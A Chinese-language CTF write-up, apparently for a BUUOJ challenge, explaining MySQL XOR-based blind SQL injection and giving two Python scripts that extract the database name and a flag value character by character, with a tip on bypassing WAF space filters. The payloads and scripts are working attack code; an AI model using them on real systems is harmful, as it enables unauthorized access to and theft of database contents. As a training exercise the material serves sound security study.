sqlmap对盲注的判断有所帮助,在真正注入的时候就感觉力不从心,又是需要手写一些注入的方法,假设已知表名falg,列名flag,记录一下mysql异或注入的方法。
0x01 注入原理
异或注入是通过where语句的111来进行判断和扩展的,首先在mysql里面进行下测试
sql select 1^1^1
sql select 1^1^0
sql select 1^0^0
sql select 0^0^0
通过测试我们可以知道,两真为假,两假为真,通过一个输入值具有正反两种情况的条件下,这个特性我们可以进行mysql的异或攻击了。
0x02 具体代码
注入数据库名
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ _{}+-*/=" url="http://a7d50de8-a34b-4eb5-987b-73e25e926229.node3.buuoj.cn/index.php" #session=requests.session() #如果需要session def database(): resutlt="" for i in range(1,30): for j in str_all: playlod="1^(ascii(mid(database()from({})))={})^0".format(str(i),ord(j)) data = { "id": playlod #, #"password": "123" } #s=session.post(url,data) s = requests.post(url,data=data) #print(playlod) #print(s.text) if "Error" in s.text: resutlt+=j print(resutlt) break; database()
通过上述方法可以使用information_schema.tables和information_schema.columns获取到表名,列名,记得使用group_concat()函数来连接具体数据,这里不再贴具体代码。
我们假设如果已经注入得到了表flag,列flag,具体得到数据的代码如下:def getValue(): resutlt="" for i in range(29,49): for j in str_all: #知道表名flag,列名flag playlod="1^(ascii(mid((select(flag)from(flag))from({})))={})^0".format(str(i),ord(j)) data = { "id": playlod #, #"password": "123" } #s=session.post(url,data) s = requests.post(url,data=data) print(playlod) #print(s.text) if "Error" in s.text: resutlt+=j print(resutlt) break;
在这里需要注意mid函数中括号的用法,这样的写法可以绕过多种waf,比如空格等情况。